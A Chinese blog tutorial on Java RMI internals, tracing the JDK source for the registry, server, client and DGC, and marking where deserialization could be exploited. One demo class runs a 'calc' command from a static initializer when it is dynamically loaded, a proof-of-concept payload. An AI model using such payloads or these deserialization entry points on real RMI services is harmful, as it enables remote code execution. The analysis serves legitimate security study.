简单RMI(一) 参考文章:https://www.cnblogs.com/CoLo/p/15468660.html 
首先RMI是一个java远程方法调用协议,具体可以远程调用其他虚拟机中的对象来执行方法。也就是获取远程对象的引用,通过远程对象的引用调用远程对象的某个方法。
它让我们获得对远程主机上对象的引用,并像在我们自己的虚拟机中一样使用它。RMI 允许我们调用远程对象上的方法,将真实的 Java 对象作为参数传递并获取真实的 Java 对象作为返回值。
无论在何处使用引用,方法调用都发生在原始对象上,该对象仍位于其原始主机上。如果远程主机向您返回对其对象之一的引用,您可以调用该对象的方法;实际的方法调用将发生在对象所在的远程主机上。
 
在RMI中需要了解一些常见的点,关于远程接口和远程对象和远程路由表
远程与非远程对象 
远程对象:RMI中的远程对象首先需要可以序列化;并且需要实现特殊远程接口的对象,该接口指定可以远程调用对象的哪些方法(这个后面会详细提到);其次该对象是通过一种可以通过网络传递的特殊对象引用来使用的。和普通的  Java 对象一样,远程对象是通过引用传递。也就是在调用远程对象的方法时是通过该对象的引用完成的
非远程对象:非远程对象与远程对象相比只是可被序列化而已,并不会像远程对象那样通过调用远程对象的引用来完成调用方法的操作,而是将非远程对象做一个简单地拷贝(simply copied),也就是说非远程对象是通过拷贝进行传递。
Remote Interface 
上面我们提到了远程对象需要实现特殊的远程接口,下面会涉及三个概念
java.rmi.Remote ==> 特殊的远程接口 extends Remote ==> 远程对象类 implements 特殊的远程接口
 
1 2 3 4 5 6 7 import  java.rmi.Remote;import  java.rmi.RemoteException;public  interface  RemoteObjectInterface  extends  Remote  {    String say () throws  RemoteException;     String sayhello () throws  RemoteException; } 
 
Remote Object 
在远程对象中一般需要继承UnicastRemoteObject类,因为继承UnicastRemoteObject类的子类会被exports出去,绑定随机端口,开始监听来自客户端(Stubs)的请求,创建远程对象类需要显示定义构造方法并抛出RemoteException,即使是个无参构造也需要如此,不然会报错 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import  java.rmi.*;import  java.rmi.server.UnicastRemoteObject;public  class  RemoteObject  extends  UnicastRemoteObject  implements  RemoteObjectInterface {        public  RemoteObject ()  throws  RemoteException {         }         public  String say () {             System.out.println("say" );             return  "yes" ;         }         public  String sayhello () {             System.out.println("sayhello" );             return  "hello" ;         } } 
 
RMI  registry 
这里的registry就是方便引用远程对象时用的,通过将调用的信息在该类中进行声明
这里有其它的师傅的话就是
在RMI中的注册表(registry)就是类似于这种机制,当我们想要调用某个远程对象的方法时,通过该远程对象在注册时提供在注册表(registry)中的别名(Name),来让注册表(registry)返回该远程对象的引用,后续通过该引用实现远程方法调用
 
注册表(registry)由java.rmi.Naming和java.rmi.registry.Registry实现
Naming类提供了进行存储及获取远程对象等操作注册表(registry)的相关方法,如bind()实现远程对象别名与远程对象之间的绑定。其他的还有如:查询(lookup)、重新绑定(rebind)、解除绑定(unbind)、list(列表)  而这些方法的具体实现,其实是调用 LocateRegistry.getRegistery 方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的
这里默认的绑定的端口为1099,本地实现一个registry注册类,一般通过LocateRegistry.createRegistry() 
1 2 3 4 5 6 7 8 9 10 11 12 import  java.rmi.RemoteException;import  java.rmi.registry.LocateRegistry;public  class  RemoteRegister  {    public  static  void  main (String[] args)  {         try  {             LocateRegistry.createRegistry(1099 );         } catch  (RemoteException e) {             throw  new  RuntimeException (e);         }     } } 
 
Server创建 
下面就是将创建好的远程对象进行绑定到服务器上
如果直接通过绑定就可能会报错,会提示无法连接
1 2 3 4 5 6 7 8 9 import  java.rmi.Naming;import  java.rmi.registry.LocateRegistry;public  class  RemoteServer  {    public  static  void  main (String[] args)  throws  Exception {         RemoteObject  server  =  new  RemoteObject ();         Naming.rebind("rmi://localhost:1089/server" , server);         } } 
 
下面就可以通过先创建一个注册中心来放入远程对象
1 2 3 4 5 6 7 8 9 import  java.rmi.Naming;import  java.rmi.registry.LocateRegistry;public  class  RemoteServer  {    public  static  void  main (String[] args)  throws  Exception {         LocateRegistry.createRegistry(1089 );         Naming.bind("rmi://127.0.0.1:1089/luokuang" ,new  RemoteObject ());     } } 
 
client创建 
在启动server后就可以尝试通过client来获取远程的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;import  java.util.Arrays;public  class  RCline  {    public  static  void  main (String[] args)  throws  Exception {         Registry  register  =  LocateRegistry.getRegistry("127.0.0.1" ,1089 );                  System.out.println(Arrays.toString(register.list()));         RemoteObjectInterface  stub  =  (RemoteObjectInterface) register.lookup("luokuang" );         System.out.println(stub.say());         System.out.println(stub.sayhello());     } } 
 
RMI** 的流程**
最后总结一下:
1.需要创建一个远程接口,将要实现的方法写入其中,并且该接口需要继承Remote接口
2.创建一个远程对象,远程对象需要实现该远程连接的接口,然后需要继承UnicastRemoteObject通过其构造器来抛出异常,否则后面对其进行注册时可能会出现问题,导致无法实现绑定
3.创建一个Server对象创建一个Registry实例用来将一个远程对象绑定到指定的路由,下面就需要启动该服务器程序
4.创建一个client对象用来实现实现远程对象的引用和调用获取注册中心LocateRegistry.getRegistry(‘ip’,port),通过registry.lookup(name) 方法,依据别名查找远程对象的引用并返回存根(Stub)
5.通过存根(Stub)实现RMI
RMI  动态加载类 
这个主要是RMI的Client和Server&Registry进行通信时是将数据进行序列化传输的,所以当我们传递一个可序列化的对象作为参数进行传输时,在Server端肯定会对其进行反序列化
如果RMI需要用到某个类但当前JVM中没有这个类,它可以通过远程URL去下载这个类。那么这个URL可以是http、ftp协议,加载时可以加载某个第三方类库jar包下的类,或者在指定URL时在最后以\结束来指定目录,从而通过类名加载该目录下的指定类
下面就来实现Client动态加载Server类
RemoteInterface
1 2 3 4 5 6 7 8 9 10 import  java.rmi.Remote;import  java.rmi.RemoteException;public  interface  RemoteInterface  extends  Remote  {    String say ()  throws  RemoteException;     String sayhello (String name)  throws  RemoteException;          Object sayClientLoadServer () throws  RemoteException;     String sayServerLoadClient (Object name)  throws  RemoteException; } 
 
RemoteObject1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  java.rmi.RemoteException;import  java.rmi.server.RemoteServer;import  java.rmi.server.UnicastRemoteObject;public  class  RemoteObject1  extends  UnicastRemoteObject  implements  RemoteInterface  {    public  RemoteObject1 ()  throws  RemoteException {     }     public  String say ()  throws  RemoteException {         return  "Hello World" ;     }     public  String sayhello (String name)  throws  RemoteException {         return  "Hello " +name;     }     public  String sayServerLoadClient (Object name)  throws  RemoteException {         return  name.getClass().getName();     }     public  Object sayClientLoadServer ()  throws  RemoteException {         return  new  Server1 ();     } } 
 
动态加载类Server1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import  java.io.IOException;import  java.io.Serializable;public  class  Server1  implements  Serializable {    private  static  final  long  serialVersionUID  =  3274289574195395731L ;     private  int  aaa=10 ;     public  long  aaa () {         return  this .aaa;     }     static {         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {             throw  new  RuntimeException (e);         }     } } 
 
RemoteServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import  java.rmi.Naming;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;import  java.util.Arrays;public  class  RemoteServer  {    public  static  void  main (String[] args)  {         try  {             System.setProperty("java.rmi.server.codebase" , "http://127.0.0.1:8080/" );             Registry  registry  =  LocateRegistry.createRegistry(1099 );             RemoteInterface  remoteObject  =  new  RemoteObject1 ();             Naming.bind("rmi://122.51.120.158/luokuang" , remoteObject);         } catch  (Exception e) {             e.printStackTrace();         }     } 
 
RemoteServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  java.rmi.Naming;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;import  java.util.Arrays;public  class  RemoteServer  {    public  static  void  main (String[] args)  {         try  {             System.setProperty("java.rmi.server.codebase" , "http://127.0.0.1:8080/" );             Registry  registry  =  LocateRegistry.createRegistry(1099 );             RemoteInterface  remoteObject  =  new  RemoteObject1 ();             Naming.bind("rmi://122.51.120.158/luokuang" , remoteObject);             System.out.println("Registry&Server Start" );             System.out.println("Registry List: "  + Arrays.toString(registry.list()));         } catch  (Exception e) {             e.printStackTrace();         }     } } 
 
RemoteClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;import  java.util.Arrays;public  class  RemoteClient  {    public  static  void  main (String[] args)  throws  Exception {         Registry  register  =  LocateRegistry.getRegistry("122.51.120.158" ,1099 );                  System.out.println(Arrays.toString(register.list()));         RemoteInterface  stub  =  (RemoteInterface) register.lookup("luokuang" );         System.out.println(stub.say());         System.out.println(stub.sayhello("aaaa" ));                  System.out.println(stub.sayClientLoadServer().getClass().getName());         System.out.println("aaaaa" );     } } 
 
这样就会动态加载Server类的方法
详细分析 
上面只是简单的实现如何通过RMI来起一个远程连接对象,下面就可以开始来详细的分析创建的流程,并且分析哪里有利用被利用的点
这里再根据上面的流程来尝试总结一下,也对后续的分析打下基础,首先对于RMI(远程方法调用)机制,首先在RMI中有三个部分,Server(服务中心)、register(注册中心)、Client(客户端),,server在创建一个远程对象时需要先创建一个注册中心,将远程对象绑定,具体的实现是通过构造一个动态代理Skel(skeleton),这里下一步是通过Client通过查询注册中心来获取远程对象调用方法,这里其实也是通过从注册中心获取一个本地动态代理stub,但是在对于目录进行传输时这里是通过java反序列化来实现的,后面传输远程调用函数的参数时服务器会通过反序列化来获取,在客户端进行获取返回结果时也是通过反序列化来实现,还有最后在进行回收时是通过dgc对象,这里也是存在反序列点的
Server服务器对注册中心 进行绑定时的分析在绑定一个远程对象时发生了什么
首先会先初始化一个远程对象,因为我们的远程对象继承了UnicastRemoteObject,所以这里就会进入其父类的构造方法,里面就会解释为什么远程对象需要继承UnicastRemoteObject
在其父类的构造方法中调用了一个exportObject方法,这个方法就是发布远程对象的核心,如果没有继承UnicastRemoteObject就需要手动的调用其exportObject方法,
1 2 3 4 5 protected  UnicastRemoteObject (int  port)  throws  RemoteException{     this .port = port;     exportObject((Remote) this , port); } 
 
在exportObject里面就再调用了exportObject 
1 2 3 4 5 public  static  Remote exportObject (Remote obj, int  port)     throws  RemoteException {     return  exportObject(obj, new  UnicastServerRef (port)); } 
 
这里需要注意一下,exportObject里面创建了一个UnicastServerRef对象,里面传了一个port,这里的port为0,在调用其父类的构造器时就默认传了一个0,在UnicastServerRef中就对其port进行了一个随机赋值,这个port与我们绑定的注册中心的端口不是同一个,我们跟进LiveRef去看看,这里会有调用ObjID,应该就是获取一个id值,继续看其构造方法
1 2 3 public  LiveRef (int  port)  {    this ((new  ObjID ()), port); } 
 
下面就继续的跟进看看getLocalEndpoint看看里面干了什么,实质上它是处理了一下TCP请求的事情,并且创建了一个ep对象来进行封装,并且返回,里面就存储了我们的
然后继续封装在LiveRef里面,这里就产生了一个LiveRef@1523的对象,这个是后面的核心
下面走出LiveRef,下面就是对其继续赋值操作,最后来到UnicastRemoteObject.exportObject方法
1 2 3 4 5 6 7 8 9 private  static  Remote exportObject (Remote obj, UnicastServerRef sref)     throws  RemoteException {          if  (obj instanceof  UnicastRemoteObject) {         ((UnicastRemoteObject) obj).ref = sref;     }     return  sref.exportObject(obj, null , false ); } 
 
这里有一个obj就是我们传的远程对象,因为我们的远程对象是继承UnicastRemoteObject的所以会进入if中对其进行赋值,赋值的核心还是上面的LiveRef,下面就是对其进行不断的导出引用不同类的方法,下面就来到了UnicastServerRef的exportObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  Remote exportObject (Remote impl, Object data,                            boolean  permanent)     throws  RemoteException {     Class<?> implClass = impl.getClass();     Remote stub;     try  {         stub = Util.createProxy(implClass, getClientRef(), forceStubUse);     } catch  (IllegalArgumentException e) {         throw  new  ExportException (             "remote object implements illegal remote interface" , e);     }     if  (stub instanceof  RemoteStub) {         setSkeleton(impl);     }     Target  target  =          new  Target (impl, this , stub, ref.getObjID(), permanent);     ref.exportObject(target);     hashToMethod_Map = hashToMethod_Maps.get(implClass);     return  stub; } 
 
里面就对客户端调用的stub代理进行了创建,这个是为了将客户端代理进行创建后放到注册中心再让客户端调用
来到createProxy方法里面,它传入了一个类,其实就是我们传入的远程对象类,里面有一个if判断,里面有一个函数stubClassExists 
下面对其进行分析看看,它是用来判断我们传入的类名+”_Stub”是否存在,这里很显然我们自己传入的类是JDK里面没有自带的,所以不会进入if
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private  static  boolean  stubClassExists (Class<?> remoteClass)  {    if  (!withoutStubs.containsKey(remoteClass)) {         try  {             Class.forName(remoteClass.getName() + "_Stub" ,                           false ,                           remoteClass.getClassLoader());             return  true ;         } catch  (ClassNotFoundException cnfe) {             withoutStubs.put(remoteClass, null );         }     }     return  false ; } 
 
里面的getClientRef还是对上面的liveRef进行了封装
1 2 3 protected  RemoteRef getClientRef ()  {    return  new  UnicastRef (ref); } 
 
后面又对其进行了一次总的封装,target就是最后的封装,这里就不跟进了,主要看看target里面有什么,里面还是对stub进行封装
后面就是一路调用exportObject方法,直到调用TCPEndpoint类里面的exportObject方法,这里就是处理网络请求的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public  void  exportObject (Target target)  throws  RemoteException {    transport.exportObject(target); } public  void  exportObject (Target target)  throws  RemoteException {         synchronized  (this ) {         listen();         exportCount++;     }          boolean  ok  =  false ;     try  {         super .exportObject(target);         ok = true ;     } finally  {         if  (!ok) {             synchronized  (this ) {                 decrementExportCount();             }         }     } } 
 
具体就不看了,后面就回到UnicastServerRef的exportObject方法里面对其进行了存储到一个hashmap里面
这样远程对象就创建好了,下面就是要了解注册中心的创建过程,将要绑定的端口传入createRegistry方法
1 2 3 public  static  Registry createRegistry (int  port)  throws  RemoteException {    return  new  RegistryImpl (port); } 
 
跟进后主要看后面的RegistryImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  RegistryImpl (int  port)     throws  RemoteException {     if  (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null ) {                  try  {             AccessController.doPrivileged(new  PrivilegedExceptionAction <Void>() {                 public  Void run ()  throws  RemoteException {                     LiveRef  lref  =  new  LiveRef (id, port);                     setup(new  UnicastServerRef (lref));                     return  null ;                 }             }, null , new  SocketPermission ("localhost:" +port, "listen,accept" ));         } catch  (PrivilegedActionException pae) {             throw  (RemoteException)pae.getException();         }     } else  {         LiveRef  lref  =  new  LiveRef (id, port);         setup(new  UnicastServerRef (lref));     } } 
 
这里又创建了一个LiveRef其实和上面创建基本一样,但是这里的port是我们传入要绑定的端口这里是1099,往下看就基本一样了,直接看创建后的lref有什么就可以
这里也是将网络请求的东西进行了封装,ip+port,下面的又new了一个UnicastServerRef对象这里的话,其实和上面的一样,对构建的lref进行封装赋值,这里先明确一点创建的liveref就是LiveRef@854,下面就是对其进行反复的导出
这里通过setup调用到UnicastServerRef的exportObject方法但是可以发现和以前不一样,这里传入的值为true,而不是false,具体的意思是是否长期对其进行存储,如果为true就是长期,否则为短期,下面就跟进去看看里面是不是也有什么变化,虽然代码是一样的,但是传入的implclass不一样了,所以实现的代码也有很多的不同,在createProxy方法中 
首先是传入的类名为RegistryImpl,所以通过拼接后的名字就为RegistryImpl_stub,下面这里就会去判断是否存在该类,这里是否存在呢,答案是存在的,接下来就会创建一个RemoteStub类进行返回,这里就通过了下面的判断
下面就进入setSkeleton方法里面看看它是要干什么,其实还是很明显的,创建一个Skeleton,而Skeleton就是在服务器上的动态代理用来处理与客户端的交互
这里创建Skeleton的核心也是liveRef,后面还是和创建远程对象一样封装到target里面,后面又是不断的调用exportObject最后启用网络连接
最后就是绑定注册中心
1 2 3 4 5 6 7 8 9 10 11 public  void  bind (String name, Remote obj)     throws  RemoteException, AlreadyBoundException, AccessException {     checkAccess("Registry.bind" );     synchronized  (bindings) {         Remote  curr  =  bindings.get(name);         if  (curr != null )             throw  new  AlreadyBoundException (name);         bindings.put(name, obj);     } } 
 
这里其实就是先判断是否已经绑定该目录,如果没有绑定就将远程对象直接put进去
到这里就已经是创建远程对象和创建注册中心并且进行绑定了
客户端对注册中心 下面就去看看客户端与注册中心的流程
首先将断点设到获取注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  static  Registry getRegistry (String host, int  port,                                    RMIClientSocketFactory csf)     throws  RemoteException {     Registry  registry  =  null ;     if  (port <= 0 )         port = Registry.REGISTRY_PORT;     if  (host == null  || host.length() == 0 ) {         try  {             host = java.net.InetAddress.getLocalHost().getHostAddress();         } catch  (Exception e) {             host = "" ;         }     }     LiveRef  liveRef  =          new  LiveRef (new  ObjID (ObjID.REGISTRY_ID),                     new  TCPEndpoint (host, port, csf, null ),                     false );     RemoteRef  ref  =          (csf == null ) ? new  UnicastRef (liveRef) : new  UnicastRef2 (liveRef);     return  (Registry) Util.createProxy(RegistryImpl.class, ref, false ); } 
 
这里创建了一个liveRef,可以看看创建完成后里面有什么,主要是ip和端口,主要看后面又调用了Util.createProxy 
这里跟进去后发现其创建了一个stub和服务端是一模一样的,所以对于客户端获取stub其实是本地进行创建,然后通过注册中心来获取对应的参数和值,下面主要看stub参数和值是然后从注册中心获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public  Remote lookup (String var1)  throws  AccessException, NotBoundException, RemoteException {    try  {         RemoteCall  var2  =  super .ref.newCall(this , operations, 2 , 4905912898345647071L );         try  {             ObjectOutput  var3  =  var2.getOutputStream();             var3.writeObject(var1);         } catch  (IOException var18) {             throw  new  MarshalException ("error marshalling arguments" , var18);         }         super .ref.invoke(var2);         Remote var23;         try  {             ObjectInput  var6  =  var2.getInputStream();             var23 = (Remote)var6.readObject();         } catch  (IOException var15) {             throw  new  UnmarshalException ("error unmarshalling return" , var15);         } catch  (ClassNotFoundException var16) {             throw  new  UnmarshalException ("error unmarshalling return" , var16);         } finally  {             super .ref.done(var2);         }         return  var23;     } catch  (RuntimeException var19) {         throw  var19;     } catch  (RemoteException var20) {         throw  var20;     } catch  (NotBoundException var21) {         throw  var21;     } catch  (Exception var22) {         throw  new  UnexpectedException ("undeclared checked exception" , var22);     } } 
 
下面就只能进行手动分析了,这里还是有一些关键点的
1 2 ObjectOutput  var3  =  var2.getOutputStream();var3.writeObject(var1); 
 
这里它将我们lookup传入的字符串写入了字节流,这里就可以知道客户端传输给服务端lookup的字符串会进行一次反序列化,所以这里就有一个反序列化点,接下来就会调用一个ref.invoke方法,这里跟进去看看里面有什么,这里会调用到UnicastRef的invoke方法,下面我们可以去将断点下到着来看看接下来做了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public  void  invoke (RemoteCall call)  throws  Exception {    try  {         clientRefLog.log(Log.VERBOSE, "execute call" );         call.executeCall();     } catch  (RemoteException e) {         clientRefLog.log(Log.BRIEF, "exception: " , e);         free(call, false );         throw  e;     } catch  (Error e) {         clientRefLog.log(Log.BRIEF, "error: " , e);         free(call, false );         throw  e;     } catch  (RuntimeException e) {         clientRefLog.log(Log.BRIEF, "exception: " , e);         free(call, false );         throw  e;     } catch  (Exception e) {         clientRefLog.log(Log.BRIEF, "exception: " , e);         free(call, true );         throw  e;     } } 
 
在里面调用了一个excuteCall方法这里需要注意一下,基本上所有的客户端调用网络请求都是通过excuteCall方法进行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public  void  executeCall ()  throws  Exception {    byte  returnType;          DGCAckHandler  ackHandler  =  null ;     try  {         if  (out != null ) {             ackHandler = out.getDGCAckHandler();         }         releaseOutputStream();         DataInputStream  rd  =  new  DataInputStream (conn.getInputStream());         byte  op  =  rd.readByte();         if  (op != TransportConstants.Return) {             if  (Transport.transportLog.isLoggable(Log.BRIEF)) {                 Transport.transportLog.log(Log.BRIEF,                     "transport return code invalid: "  + op);             }             throw  new  UnmarshalException ("Transport return code invalid" );         }         getInputStream();         returnType = in.readByte();         in.readID();             } catch  (UnmarshalException e) {         throw  e;     } catch  (IOException e) {         throw  new  UnmarshalException ("Error unmarshaling return header" ,                                      e);     } finally  {         if  (ackHandler != null ) {             ackHandler.release();         }     }          switch  (returnType) {     case  TransportConstants.NormalReturn:         break ;     case  TransportConstants.ExceptionalReturn:         Object ex;         try  {             ex = in.readObject();         } catch  (Exception e) {             throw  new  UnmarshalException ("Error unmarshaling return" , e);         }                           if  (ex instanceof  Exception) {             exceptionReceivedFromServer((Exception) ex);         } else  {             throw  new  UnmarshalException ("Return type not Exception" );         }              default :         if  (Transport.transportLog.isLoggable(Log.BRIEF)) {             Transport.transportLog.log(Log.BRIEF,                 "return code invalid: "  + returnType);         }         throw  new  UnmarshalException ("Return code invalid" );     } } 
 
这里可以看到在处理一种异常时里面调用了readObject方法,这里的初衷应该是为了获取异常的详细情况,但是如果从注册中心搞一个恶意的进行传输就可能导致客户端调用恶意的代码
1 2 3 4 5 6 7 case  TransportConstants.ExceptionalReturn:        Object ex;         try  {             ex = in.readObject();         } catch  (Exception e) {             throw  new  UnmarshalException ("Error unmarshaling return" , e);         } 
 
下面调用完invoke方法后就通过反序列化来获取对应的远程对象代理,所以在客户端获取远程对象代理是通过反序列化来实现的
1 2 3 4 try  {    ObjectInput  var6  =  var2.getInputStream();     var23 = (Remote)var6.readObject(); }  
 
客户端调用服务端 
通过客户端的动态代理stub来调用服务端的方法,下面就可以看看具体是怎么实现,首先可以想到在调用动态代理的方法时会先调用其invoke方法,这里也是一样,先看看它的invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  Object invoke (Object proxy, Method method, Object[] args)     throws  Throwable {     if  (! Proxy.isProxyClass(proxy.getClass())) {         throw  new  IllegalArgumentException ("not a proxy" );     }     if  (Proxy.getInvocationHandler(proxy) != this ) {         throw  new  IllegalArgumentException ("handler mismatch" );     }     if  (method.getDeclaringClass() == Object.class) {         return  invokeObjectMethod(proxy, method, args);     } else  if  ("finalize" .equals(method.getName()) && method.getParameterCount() == 0  &&         !allowFinalizeInvocation) {         return  null ;      } else  {         return  invokeRemoteMethod(proxy, method, args);     } } 
 
下面的invoke方法里面主要看invokeRemoteMethod里面有什么,这里里面调用了UnicastRef的invoke,但是不是以前的invoke方法,而是方法重写,看看里面有什么
下面就可以看看invoke里面实现了什么,这里主要是三个点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 public  Object invoke (Remote obj,                      Method method,                      Object[] params,                      long  opnum)     throws  Exception {     if  (clientRefLog.isLoggable(Log.VERBOSE)) {         clientRefLog.log(Log.VERBOSE, "method: "  + method);     }     if  (clientCallLog.isLoggable(Log.VERBOSE)) {         logClientCall(obj, method);     }     Connection  conn  =  ref.getChannel().newConnection();     RemoteCall  call  =  null ;     boolean  reuse  =  true ;     boolean  alreadyFreed  =  false ;     try  {         if  (clientRefLog.isLoggable(Log.VERBOSE)) {             clientRefLog.log(Log.VERBOSE, "opnum = "  + opnum);         }         call = new  StreamRemoteCall (conn, ref.getObjID(), -1 , opnum);         try  {             ObjectOutput  out  =  call.getOutputStream();             marshalCustomCallData(out);             Class<?>[] types = method.getParameterTypes();             for  (int  i  =  0 ; i < types.length; i++) {                 marshalValue(types[i], params[i], out);             }         } catch  (IOException e) {             clientRefLog.log(Log.BRIEF,                 "IOException marshalling arguments: " , e);             throw  new  MarshalException ("error marshalling arguments" , e);         }         call.executeCall();         try  {             Class<?> rtype = method.getReturnType();             if  (rtype == void .class)                 return  null ;             ObjectInput  in  =  call.getInputStream();             Object  returnValue  =  unmarshalValue(rtype, in);             alreadyFreed = true ;             clientRefLog.log(Log.BRIEF, "free connection (reuse = true)" );             ref.getChannel().free(conn, true );             return  returnValue;         } catch  (IOException e) {             clientRefLog.log(Log.BRIEF,                              "IOException unmarshalling return: " , e);             throw  new  UnmarshalException ("error unmarshalling return" , e);         } catch  (ClassNotFoundException e) {             clientRefLog.log(Log.BRIEF,                 "ClassNotFoundException unmarshalling return: " , e);             throw  new  UnmarshalException ("error unmarshalling return" , e);         } finally  {             try  {                 call.done();             } catch  (IOException e) {                 reuse = false ;             }         }     } catch  (RuntimeException e) {         if  ((call == null ) ||             (((StreamRemoteCall) call).getServerException() != e))         {             reuse = false ;         }         throw  e;     } catch  (RemoteException e) {         reuse = false ;         throw  e;     } catch  (Error e) {         reuse = false ;         throw  e;     } finally  {         if  (!alreadyFreed) {             if  (clientRefLog.isLoggable(Log.BRIEF)) {                 clientRefLog.log(Log.BRIEF, "free connection (reuse = "  +                                        reuse + ")" );             }             ref.getChannel().free(conn, reuse);         }     } } 
 
首先这个方法里面先调用了marshalValue方法,通过跟进就发现这里最后调用了writeObject()方法,将我们传入的函数的参数通过序列化写入字节流,这里也说明在服务器端里面调用了readObject()方法来反序列化获取字节流,
下面关键是看到它还是调用了executeCall(),对于客户端来说,处理网络请求都是需要通过executeCall方法,这里就也会有反序列化的点
最后一个点是根据调用的方法是否存在返回值来决定的,unmarshalValue方法
里面是最后通过反序列化获取了函数的返回值
这样客户端就基本结束了,下面就分析注册中心和服务端是怎么处理的
首先是注册中心最后会调用到RegistryImpl_Skel的dispatch方法,这里将对应的lookup或者rebind等方法的传入的参数通过反序列来获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 public  void  dispatch (Remote var1, RemoteCall var2, int  var3, long  var4)  throws  Exception {    if  (var4 != 4905912898345647071L ) {         throw  new  SkeletonMismatchException ("interface hash mismatch" );     } else  {         RegistryImpl  var6  =  (RegistryImpl)var1;         String var7;         Remote var8;         ObjectInput var10;         ObjectInput var11;         switch  (var3) {             case  0 :                 try  {                     var11 = var2.getInputStream();                     var7 = (String)var11.readObject();                     var8 = (Remote)var11.readObject();                 } catch  (IOException var94) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var94);                 } catch  (ClassNotFoundException var95) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var95);                 } finally  {                     var2.releaseInputStream();                 }                 var6.bind(var7, var8);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var93) {                     throw  new  MarshalException ("error marshalling return" , var93);                 }             case  1 :                 var2.releaseInputStream();                 String[] var97 = var6.list();                 try  {                     ObjectOutput  var98  =  var2.getResultStream(true );                     var98.writeObject(var97);                     break ;                 } catch  (IOException var92) {                     throw  new  MarshalException ("error marshalling return" , var92);                 }             case  2 :                 try  {                     var10 = var2.getInputStream();                     var7 = (String)var10.readObject();                 } catch  (IOException var89) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var89);                 } catch  (ClassNotFoundException var90) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var90);                 } finally  {                     var2.releaseInputStream();                 }                 var8 = var6.lookup(var7);                 try  {                     ObjectOutput  var9  =  var2.getResultStream(true );                     var9.writeObject(var8);                     break ;                 } catch  (IOException var88) {                     throw  new  MarshalException ("error marshalling return" , var88);                 }             case  3 :                 try  {                     var11 = var2.getInputStream();                     var7 = (String)var11.readObject();                     var8 = (Remote)var11.readObject();                 } catch  (IOException var85) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var85);                 } catch  (ClassNotFoundException var86) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var86);                 } finally  {                     var2.releaseInputStream();                 }                 var6.rebind(var7, var8);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var84) {                     throw  new  MarshalException ("error marshalling return" , var84);                 }             case  4 :                 try  {                     var10 = var2.getInputStream();                     var7 = (String)var10.readObject();                 } catch  (IOException var81) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var81);                 } catch  (ClassNotFoundException var82) {                     throw  new  UnmarshalException ("error unmarshalling arguments" , var82);                 } finally  {                     var2.releaseInputStream();                 }                 var6.unbind(var7);                 try  {                     var2.getResultStream(true );                     break ;                 } catch  (IOException var80) {                     throw  new  MarshalException ("error marshalling return" , var80);                 }             default :                 throw  new  UnmarshalException ("invalid method number" );         } 
 
最后就是服务端的操作,这里就是一个对称的过程,客户端反序列化,服务端就序列化,也是通过unmarshalValue方法或者marshalValue方法
dgc回收 首先在服务端创建stub对象时会自动的创建一个DGCImpl_stub对象,它也有对应的DGCImpl_Skel,里面有dispatch方法,里面也有反序列化来获取参数值进行清理
